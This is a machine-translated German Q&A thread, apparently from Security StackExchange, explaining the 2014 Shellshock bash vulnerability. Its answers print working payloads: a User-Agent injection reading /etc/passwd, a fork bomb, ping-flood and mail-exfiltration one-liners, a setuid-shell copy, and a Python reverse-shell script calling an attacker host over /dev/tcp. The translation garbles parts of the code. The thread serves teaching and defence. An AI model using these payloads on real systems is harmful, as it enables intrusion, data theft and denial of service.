Frage:
Was ist ein konkretes Beispiel dafür, wie der Shellshock Bash-Fehler ausgenutzt werden könnte?
Rob Bednark
2014-09-25 05:30:37 UTC
view on stackexchange narkive permalink

Ich habe einige Artikel ( Artikel1, Artikel2, Artikel3, Artikel4) über den Shellshock gelesen Bash-Fehler ( CVE-2014-6271, gemeldet am 24. September 2014) und eine allgemeine Vorstellung davon, was die Sicherheitsanfälligkeit ist und wie sie ausgenutzt werden könnte. Was wäre ein einfaches und spezifisches Beispiel für einen Angriffsvektor / ein Szenario, das den Fehler ausnutzen könnte, um die Auswirkungen des Fehlers besser zu verstehen?

Mögliches Duplikat von [Angriffsszenarien der neuen Bash-Sicherheitsanfälligkeit] (http://security.stackexchange.com/questions/68139/attack-scenarios-of-the-new-bash-vulnerability)
@Gilles Sie haben eine Rückkopplungsschleife erstellt, gj
Informationen zu einem vollständigen Apache-Webserver-Angriffsszenario, einschließlich der Frage, wie ein Angreifer ohne SSH-Zugriff überhaupt zu Bash gelangen kann, finden Sie unter [Wie schütze ich Apache vor der Sicherheitsanfälligkeit durch Bash Shellshock?] (Http: // security) .stackexchange.com / question / 68146 / How-Do-I-Secure-Apache-gegen-die-Bash-Shellshock-Sicherheitslücke), in dem einige potenziell überraschende Möglichkeiten für die Verwendung von Bash durch Apache erläutert werden. ** tldr; ** es gibt mehrere, also Patch Bash.
Ein Beispiel zu SU: [Ist dies ein Angriff oder etwas, worüber man sich Sorgen machen muss? Shellshock?] (Http://superuser.com/q/818257/151741)
Fünf antworten:
#1
+158
mgjk
2014-09-25 21:09:53 UTC
view on stackexchange narkive permalink

Ein sehr einfaches Beispiel wäre ein cgi, /var/www/cgi-bin/test.cgi:

 #!/bin/bashecho "Inhaltstyp: text / plain" echo echoecho "Hi"  

Rufen Sie es dann mit wget auf, um die User Agent-Zeichenfolge auszutauschen. Z.B. Dies zeigt den Inhalt von / etc / passwd:

  wget -U "() {test;}; echo \" Inhaltstyp: text / plain \ "; echo; echo; / bin / cat / etc / passwd "http://10.248.2.15/cgi-bin/test.cgi  

Um es aufzuschlüsseln:

 " () {test;}; echo \ "Inhaltstyp: text / plain \"; echo; echo; / bin / cat / etc / passwd " 

Sieht aus wie:

  () {test} echo \ "Inhaltstyp: text / plain \" echoecho / bin / cat / etc / passwd  

Das Problem, wie ich es verstehe Während es in Ordnung ist, eine Funktion in einer Umgebungsvariablen zu definieren, soll bash den Code danach nicht ausführen.

Der zusätzliche "Inhaltstyp:" dient nur zur Veranschaulichung. Es verhindert den 500-Fehler und zeigt den Inhalt der Datei.

Das obige Beispiel zeigt auch, dass es sich nicht um ein Problem von Programmierfehlern handelt, auch wenn normalerweise sicheres und harmloses Bash-CGI, das nicht einmal Benutzereingaben zulässt, möglich ist ausgenutzt werden.

Sehr schöne @mgjk. Einfach und spezifisch, genau das, wonach ich gesucht habe. Vielen Dank!
Danke, das war nützlich. Außerdem sollte es "/var/www/cgi-bin/testing.cgi" sein, um mit dem wget-Beispiel übereinzustimmen (aber wir bekommen das Bild). Wenn gepatcht, würde ich annehmen, dass die heruntergeladene Datei nur "Hallo" sagt, richtig?
Ein bisschen erstaunt, dass sich ein "Shell Shock" -Wurm noch nicht in Bewegung gesetzt hat, das ist ein wahnsinnig einfacher Vektor, und es müssen vorgefertigte Skripte vorhanden sein, um den Rest der Arbeit nach dem Exploit zu erledigen. Oder fehlt mir etwas?
@David-Schlagzeilen werden bereits veröffentlicht. [Hacker nutzen den Shellshock-Fehler mit Würmern bei frühen Angriffen aus] (http://www.reuters.com/article/2014/09/25/us-cybersecurity-shellshock-idUSKCN0HK23Y20140925)
Nicht nur Bash-CGI-Skripte sind anfällig. Wenn die System-Shell / bin / sh bash ist, ist jedes CGI-Skript in einer beliebigen Sprache, die system (3) aufruft, um einen anderen Befehl auszuführen, oder anderweitig / bin / sh verwendet, anfällig. z.B. ein Perl-CGI-Skript mit \ `ls | wc -l \ `ist anfällig.
@SamWatkins Ich habe dies gegen einen PHP-Systemaufruf ("/ usr / bin / ls") versucht, konnte aber kein ungewöhnliches Verhalten erzeugen. Ich habe Ihre Behauptung auch anderswo gehört. Konnten Sie sie ausnutzen?
Tolle Erklärung. Welche Rolle spielt das Semikolon, das ich in den klassischsten Beispielen im Funktionsblock gesehen habe?
Das Semikolon ersetzt eine neue Zeile, sodass sie in eine Zeile passt. Die Semikolons sind nicht erforderlich, wenn Sie sie durch Zeilenumbrüche ersetzen können.
`Rufen Sie es mit wget auf, um die User Agent-Zeichenfolge auszutauschen` - können Sie diesen Teil etwas genauer erklären? dh wie / warum wird etwas im Header der GET-Anfrage von bash ausgeführt?
Die Umgebungsvariablen werden im Rahmen des CGI-Entwurfs wörtlich zur Verfügung gestellt. http://tools.ietf.org/html/draft-robinson-www-interface-00 bash ermöglicht Funktionsdefinitionen in Umgebungsvariablen, aber der Fehler führt dazu, dass Code nach der Funktionsdefinition ausgeführt wird. Es ist so lächerlich, wie es sich anhört.
`Die Umgebungsvariablen werden im Rahmen des CGI-Designs wörtlich zur Verfügung gestellt .` Irgendwo gibt es also einen` var userAgent = headers ["User-Agent"] `?
Das ist ungefähr alles, siehe IETF-Dokument, S. 8, HTTP_ *. N.b. Es gibt eine Reihe anderer in der HTTP_ * -Gruppe, die ich nicht ausprobiert habe, aber auch funktionieren sollte, wie HTTP_ACCEPT, HTTP_ACCEPT_ENCODING, HTTP_ACCEPT_LANGUAGE ...
@mgjk, Haben Sie beim Versuch, das Problem hinter einem system () -Aufruf zu reproduzieren, überprüft, ob Ihr / bin / sh wirklich von bash bereitgestellt wurde und nicht von dash oder einer anderen Implementierung?
Aber [Ist ein Server nur mit CGI-fähig ausnutzbar?] (Http://security.stackexchange.com/q/68478)
@rubo77 Der CGI-Exploit gegen Shellshock ist nur ein Angriffsvektor. Ein weiterer Vektor ist der DHCP-Client für Linux-Systeme. Ich gehe davon aus, dass es noch mehr geben wird. Das obige Beispiel gilt nur für CGI. Es ist am besten nicht anzunehmen, dass wir alle Vektoren kennen.
@CharlesDuffy das ist ein guter Punkt. Ich habe es überprüft und es ist / bin / sh, was ein Symlink zu / bin / bash ist. Aber selbst wenn es Bash wäre, würde diese Methode nicht funktionieren, da die Umgebungsvariablen in meinem Test nicht an die Shell übergeben wurden. (für einen sofort einsatzbereiten Redhat 6.5). Wenn Sie etwas anderes finden, lassen Sie es mich bitte wissen.
@mgjk, Perl führt einfache Befehle direkt aus, ohne die Shell zu verwenden. Vielleicht macht das neuere PHP dasselbe. Das alte PHP 5.2.5, das ich hier habe, verwendet System (3) und / bin / sh, um selbst einfache Befehle wie system ("/ bin / ls") auszuführen. Wenn Sie unter Debian, Ubuntu, Mint oder ähnlichem arbeiten, ist Ihr / bin / sh ein Bindestrich und kein Bash. Wenn Sie also das System ("...") verwenden, wird der Fehler nur angezeigt, wenn Sie ein aktuelles #! / Bin / ausführen. Bash-Skript (von wo es viele gibt). dhclient ist in fast jeder Distribution anfällig, da dhclient-script ein #! / bin / bash-Skript ist.
Wenn Sie ein System ("set") ausführen, werden der Interpreter und der vollständige Satz von Umgebungsvariablen angezeigt. Meine Debian-Box hat einige Jahre Zeit und läuft mit Squeeze LTS, das Bash verwendet.
Nur neugierig, läuft der Server als root? Wenn nicht, kann es möglicherweise nicht "/ etc / passwd" abrufen oder andere anfälligere Exploits zulassen.
Die meisten Apps benötigen Zugriff auf read / etc / passwd. Es ist sehr ungewöhnlich, es einzuschränken, dies geht * weit * zurück, aber es könnte interessant sein, seit / etc / shadow auf Slackware eingeführt wurde: http://www.tldp.org/HOWTO/Shadow-Password-HOWTO -2.html Sie geben ein Beispiel für den Befehl 'ls', der keine Benutzernamen anzeigen kann.
#2
+100
Brendan Byrd
2014-09-25 08:49:40 UTC
view on stackexchange narkive permalink

Mit dem Zugriff auf Bash sind die Optionen selbst aus der Sicht eines Webbenutzers endlos. Hier ist zum Beispiel eine Gabelbombe:

  () {:; }; : () {: |: &};:  

Fügen Sie dies einfach in eine Benutzeragentenzeichenfolge in einem Browser ein, rufen Sie Ihre Webseite auf und führen Sie sofort DoS auf Ihrem Webserver durch.

Oder jemand könnte Ihren Server als Angriffsbot verwenden:

  () {:; }; ping -s 1000000 <victim IP>  

Wenn Sie dies auf mehrere andere Server übertragen, sprechen Sie von realer Bandbreite.

Andere Angriffsmethoden:

  # Diebstahl von Daten () {:; }; find ~ -print | mail -s "Ihre Dateien" [email protected] () {:; }; cat ~ / .secret / passwd | mail -s "Diese Passwortdatei" [email protected]# setuid shell () {:; }; cp / bin / bash / tmp / bash. && chmod 4755 / tmp / bash zum Root-Benutzer. Es ist eine Muschel! Es kann alles machen. Bei Sicherheitskatastrophen ist dies sogar noch schlimmer als bei Heartbleed.  

Wichtig ist, dass Sie Ihr System patchen. JETZT! Wenn Sie noch externe Server haben, die noch nicht gepatcht sind, was lesen Sie dann noch?!

Hacker tun diese Dinge bereits oben, und Sie tun es nicht. Ich weiß es nicht einmal!

Haben Sie diese Exploits tatsächlich ausprobiert (insbesondere das erste Beispiel) oder nehmen Sie nur an, dass sie funktionieren? Ich frage, weil ich die auf einem verwundbaren Ubuntu präzise und nada ausprobiert habe ...
Das ist eine gute Antwort, aber ich bin mir nicht sicher, ob sie die Frage genau beantwortet. Wie kann ein Webbenutzer dies über einen Browser ausnutzen?
TimC: Einfach durch Festlegen der Zeichenfolge als Benutzeragent oder Cookie oder einer beliebigen Anzahl von CGI-Variablen, die in der Umgebung landen würden. Wenn die Webseite bash aufruft, wie bei einem Systemaufruf zum Ausführen eines externen Befehls, wird die Nutzlast ausgeführt.
@lightxx Sie müssen dies auf einem Server ausführen, auf dem Bash ausgeführt wird, d. H. Auf einer URL, die mit CGI verarbeitet wird.
Ich denke, es gibt keine Möglichkeit zu wissen, ob eine Seite tatsächlich Bash verwendet. Für normale Dinge wie GET / POST-Parameter werden diese wahrscheinlich mit clientseitigen Skripten behandelt, anstatt irgendetwas im Betriebssystem zu benötigen, sodass möglicherweise keine Bash verwendet wird. Ist das richtig?
Warum sollten Sie Benutzereingaben überhaupt in einer Umgebungsvariablen speichern? Ich kann mir kein Szenario vorstellen, in dem ich das machen möchte ...
@lightxx http: // www.theregister.co.uk / 2014/09/24 / bash_shell_vuln / "Ubuntu und andere von Debian abgeleitete Systeme, die ausschließlich Dash verwenden, sind nicht gefährdet - Dash ist nicht anfällig, aber möglicherweise kaputte Versionen von Bash auf den Systemen ohnehin vorhanden. Es ist wichtig, dass Sie die von Ihnen verwendeten Shell-Interpreter und alle von Ihnen installierten Bash-Pakete überprüfen und gegebenenfalls patchen. "
@Ajedi32 das "alte" CGI-Protokoll kommuniziert vollständig mit Umgebungsvariablen, es wird z. HTTP_USER_AGENT in eine Variable. Wenn dies also auf der Clientseite festgelegt ist, kann es den Angriff bestehen.
@TimC Es könnte auch funktionieren, wenn die serverseitigen Skripte (z. B. PHP) ein externes Programm aufrufen, Bash wird möglicherweise aufgerufen (z. B. ein Systembefehl für ImageMagick oder für Sendmail).
@AlexLehmann Ah, das macht Sinn. Meine Erfahrung besteht hauptsächlich in der Arbeit mit Ruby on Rails-Apps. Daher hatte ich nicht berücksichtigt, dass HTTP-Header möglicherweise als Umgebungsvariablen an externe CGI-Skripte übergeben werden müssen.
Diese Antwort könnte wahrscheinlich von einer gründlicheren Erklärung des Exploits selbst profitieren. Z.B. Wie kann das Einfügen dieser Zeichenfolgen in Ihren Benutzeragenten dazu führen, dass sie von bash ausgeführt werden?
Sind Ihre Beispiele für "Diebstahl von Daten" rückwärts oder gibt es etwas in dieser Sicherheitsanfälligkeit, das die Funktionsweise der Pipe tatsächlich umkehrt?
Warten Sie, warum der Benutzeragent überhaupt in eine Umgebungsvariable eingefügt wird, anstatt ihn als Argument an die ausführbare CGI-Datei zu übergeben. (Was die Ausnutzbarkeit des Fehlers verringern würde, soweit ich das beurteilen kann. Ich weiß nicht viel über CGI.)
@jco, denn so funktioniert CGI. Als CGI erstellt wurde, gab es diesen Fehler noch nicht, sodass die Leute nicht daran dachten, den Schaden zu verringern :) Wenn sie sich überhaupt Sorgen um die Sicherheit machten, waren sie wahrscheinlich besorgt darüber, dass ssh noch nicht existierte .
@PeterRecore Danke, das habe ich vermutet. Dennoch scheint mir, dass Befehlszeilenargumente die logischere Art sind, diese Informationen weiterzugeben.
@jco, im Allgemeinen sind Umgebungsvariablen (wenn der Angreifer keine beliebigen Namen festlegen kann - wie dies für CGI nicht möglich ist) kein Vektor für die Code-Injektion, ebenso wenig wie Befehlszeilenargumente ... bis Sie bekomme einen Fehler wie diesen.
@CharlesDuffy Nun, ich würde argumentieren, dass sie es sind. Argumente werden vollständig von dem Programm verarbeitet, an das sie übergeben werden. Bei Variablen können jedoch mehrere Programme mit ihnen interagieren, wodurch die Angriffsfläche vergrößert wird. Aber mein Punkt war eine vernünftige ** technische ** Frage - da dies anscheinend die Argumente * für * sind. Ich habe nicht wirklich über den Fehler gesprochen, sondern über das CGI-Protokoll selbst und diese seltsame Praxis.
Auf @jco-Umgebungsvariablen wird herkömmlicherweise über eine Schlüssel / Wert-Schnittstelle zugegriffen, obwohl sie unter UNIX als flache Liste von Paaren implementiert sind. Durch das Offenlegen von "Metavariablen" (wie RFC 3875 sie nennt) über eine Schlüssel / Wert-Schnittstelle wird vermieden, dass der Empfänger zusätzlich mit der Komplexität der Implementierung belastet wird, um sie vorwärtskompatibel analysieren und verarbeiten zu können. Der RFC gibt dies an Implementierungsdefinierte Metavariablen, die nicht im Standard angegeben sind, werden mit dem Präfix "X-CGI" versehen, was bedeutet, dass sie nicht zum Festlegen beliebiger Inhalte verwendet werden können (Überschreiben von "LD_PRELOAD" oder dergleichen).
@jco Diese Implementierungsauswahl erleichtert auch das Schreiben von mit CGI kompatiblen Schnittstellen, bei denen ein Prozess nicht erneut ausgeführt werden muss (siehe FastCGI und dergleichen). Es ist einfacher, Umgebungsvariablen in einem bereits vorhandenen Prozessabbild zu ändern, als argv willkürlich zu ändern (was erfordert, dass der Anfangswert von argv aufgefüllt wird, und ist im Allgemeinen eine betriebssystemabhängige Operation).
@CharlesDuffy Vielen Dank für die Information. Im Wesentlichen ist es einfacher, dies als Schlüssel-Wert-Paare zu analysieren und sie bequemer zu ändern, während der Prozess ausgeführt wird. Richtig? Ich habe dort oben einen Fehler gemacht, als ich vorgeschlagen habe, Argumente zu verwenden, da Server normalerweise nicht für jede Anforderung neu gestartet werden - ich weiß nicht, was ich dachte.
@jco, ... nun, traditionelles / ursprüngliches / Baseline-CGI startet tatsächlich einen neuen Prozess für jede Anfrage, so dass die Art und Weise, wie Dinge früher mit argv gemacht wurden, tatsächlich machbar gewesen wäre. In der Tat tun dies moderne Varianten (die sich mehr um die Leistung als um die Prozessisolierung kümmern) häufig nicht mehr.
@CharlesDuffy Ja, so habe ich naiv angenommen, dass sie immer noch funktionieren. Starten Sie einfach die ausführbare Datei und übergeben Sie sie. Aber anscheinend ist es komplexer, zumindest jetzt ...
#3
+13
Tim Dierks
2014-09-26 02:32:32 UTC
view on stackexchange narkive permalink

Es sind nicht nur Server; Client-Software kann ebenfalls betroffen sein. Hier ist ein Beispiel für einen anfälligen DHCP-Client. Wenn ein Computer über einen solchen anfälligen Client (und eine fehlerhafte Bash) verfügt, kann jeder Computer im Subnetz fehlerhafte DHCP-Antworten senden und Root-Berechtigungen erhalten.

Angesichts der weit verbreiteten Verwendung von Umgebungsvariablen zur gemeinsamen Nutzung des Status zwischen Prozessen in Unix und die Menge an Software, die möglicherweise beteiligt ist, ist die Angriffsfläche sehr groß. Denken Sie nicht, dass Ihr Computer sicher ist, da Sie keinen Webserver ausführen. Die einzige Lösung besteht darin, Bash-Patches zu erstellen, in Betracht zu ziehen, zu einer weniger komplexen Standard-Shell (z. B. Dash) zu wechseln, und zu hoffen, dass es nicht viel mehr ähnliche Sicherheitslücken gibt.

Der DHCP-Exploit betrifft mich ehrlich gesagt weitaus mehr. Jede Distribution, mit der ich Erfahrung habe, führt den Webdienst als nicht privilegierter Benutzer aus, sodass der Schaden auf ungeschützte Dateien beschränkt ist (/ etc / passwd klingt beängstigend, aber es ist nicht viel mehr als die Liste der Benutzer - die einen Angriffsvektor für bereitstellen kann Passwort erraten, aber ...) und der Webdienst selbst (ich führe keinen aus). Aber wahrscheinlich wird jeder DHCP-Client als Root ausgeführt, und jeder führt einen aus. Dies wäre ein großes Problem in einem öffentlichen WLAN-Hotspot, es sei denn, es zäunt die Gäste voneinander ab.
#4
+12
Rob
2014-09-27 01:25:55 UTC
view on stackexchange narkive permalink

Sie müssen bash nicht explizit verwenden, damit dies ein Problem darstellt. Das eigentliche Problem besteht darin, dass Angreifer den Wert von Umgebungsvariablen mitbestimmen können. Nachdem die Umgebung festgelegt wurde, ist es nur eine Frage der Zeit, bis eine Shell (möglicherweise unbekannt) in einer Umgebung ausgeführt wird, für die sie nicht vorbereitet wurde.

Jedes Programm (bash, java, tcl, php, ...) hat diese Signatur:

  int main (int argc, char ** argv, char ** arge);  

Entwickler haben die Angewohnheit, argc und argv auf Sauberkeit zu überprüfen. Die meisten ignorieren arge und machen keinen Versuch, es zu validieren, bevor sie Subshells erzeugen (explizit oder implizit). Und in diesem Fall verteidigt sich bash nicht richtig gegen schlechte Eingaben. Um eine Anwendung miteinander zu verbinden, werden Unterprozesse erzeugt. Im Grunde passiert Folgendes:

  // Wir haben die Binärdatei fest codiert und das Argument bereinigt, sodass wir davon ausgehen, dass // keine böswillige Eingabe erfolgen kann - sondern die aktuelle Umgebung wird // in implicitly.execl übergeben ("/ bin / bash", "bash", "-c", "/ opt / initTech / bin / dataScrape", cleanArg, NULL);  

In Ihrem eigenen Code gibt es möglicherweise keine Verweise auf bash. Aber vielleicht starten Sie tcl und etwas tief im tcl-Code startet Bash für Sie. Es würde die Umgebungsvariablen erben, die derzeit festgelegt sind.

Im Fall der anfälligen Version von bash geschieht Folgendes:

  int main (int argc, char ** argv, char ** arge) {// Hauptfunktion von bash .... parseEnvironment (arge); // !!!! Funktionsdefinitionen lesen und var definiert .... doArgv (argc, argv); ....}  

Wobei parseEnvironment eine Reihe von Umgebungsvariablendefinitionen sieht, die es nicht unbedingt erkennt. Es wird jedoch erraten , dass einige dieser Umgebungsvariablen Funktionsdefinitionen sind:

  INITTECH_HOME = / opt / initTechHTTP_COOKIE = () {:; }; / usr / bin / eject  

Bash hat keine Ahnung, was ein HTTP_COOKIE ist. Aber es beginnt mit (), also bash vermutet , dass dies eine Funktionsdefinition ist. Außerdem können Sie nach der Funktionsdefinition sofort ausgeführten Code hinzufügen, da Sie möglicherweise einige Nebenwirkungen mit Ihrer Funktionsdefinition initialisieren müssen. Der Patch entfernt die Möglichkeit, nach der Funktionsdefinition Nebenwirkungen hinzuzufügen.

Aber die ganze Idee, dass eine Umgebungsvariable mit der vom Angreifer bereitgestellten Funktionsdefinition inaktiv sein kann, ist immer noch sehr beunruhigend!

  recieve = '() {Echo, das Sie empfangen wollten lol; } ' 

Wenn der Angreifer veranlassen kann, dass dieser Variablenname einen von ihm angegebenen Wert erhält, und auch weiß, dass er warten kann, bis ein Bash-Unterprozess versucht, eine Funktion mit diesem Namen aufzurufen, dann wäre dies ein weiterer Angriffsvektor.

Dies ist nur die alte Ermahnung, Ihre Eingaben zu validieren . Da Shells möglicherweise als überraschendes Implementierungsdetail erzeugt werden, setzen Sie nie eine Umgebungsvariable auf einen Wert, der nicht streng validiert ist. Das bedeutet, dass jedes mögliche Programm, das diese Umgebungsvariable liest, mit dem Wert nichts Unerwartetes macht. wie es als Code ausführen.

Heute ist es Bash. Morgen ist es Java, Sh, Tcl oder Node. Sie alle nehmen einen Umgebungszeiger in ihre Hauptfunktion auf; und sie alle haben unterschiedliche Einschränkungen hinsichtlich der sicheren Handhabung (bis sie gepatcht sind).

Korrekt. Die Moral der Geschichte ist, niemals Benutzereingaben zu vertrauen.
Ich dachte, es sei beabsichtigt, jemandem das Festlegen von Umgebungsvariablen und -funktionen zu erlauben, und der Fehler war, dass _in zusätzlicher_ Code ausgeführt würde? Ok, das Einstellen von Umgebungsfunktionen klingt gefährlich, aber das ist nicht der Shellshock-Fehler - es ist eine "Funktion".
Wenn Sie am Freitag aktualisiert haben, war es möglich, den unmittelbaren Code nach der Funktionsdefinition hinzuzufügen. Wenn Sie erneut aktualisiert haben, können Sie dies auch nicht mehr tun (gut!): X = '() {echo foo; } 'bash -c foo
#5
+7
poperob
2014-09-25 19:37:18 UTC
view on stackexchange narkive permalink

Hier ist ein Beispiel durch ein CGI-Skript für einen ungetesteten Remote-Angriff - entnommen aus http://pastebin.com/166f8Rjx

Wie alle Exploits hängt es von den Umständen ab. Stellt eine Verbindung zu einer Remote-CGI-Datei auf dem Webserver her und startet eine Reverse-Shell

() {ignoriert;}; / bin / bash -i> & / dev / tcp / % s 0> &1 "% sys.argv [3]

  ## CVE-2014-6271 cgi-bin-Reverse-Shell # httplib, urllib, sysif importieren (len (sys.argv) <4 ): print "Verwendung:% s <host> <vulnerable CGI> <attackhost / IP>"% sys.argv [0] print "Beispiel:% s localhost /cgi-bin/t.g. exit (0) conn = httplib.HTTPConnection (sys.argv [1]) reverse_shell = "() {ignoriert;}; / bin / bash -i >& / dev / tcp /% s 0>&1"% sys.argv [3] headers = {"Content-type": "application / x-www-form-urlencoded", "test": reverse_shell} conn.request ("GET", sys.argv [2], headers = headers) res = conn. getresponse () print res.status, res.reasondata = res.read () Druckdaten  


Diese Fragen und Antworten wurden automatisch aus der englischen Sprache übersetzt.Der ursprüngliche Inhalt ist auf stackexchange verfügbar. Wir danken ihm für die cc by-sa 3.0-Lizenz, unter der er vertrieben wird.
Loading...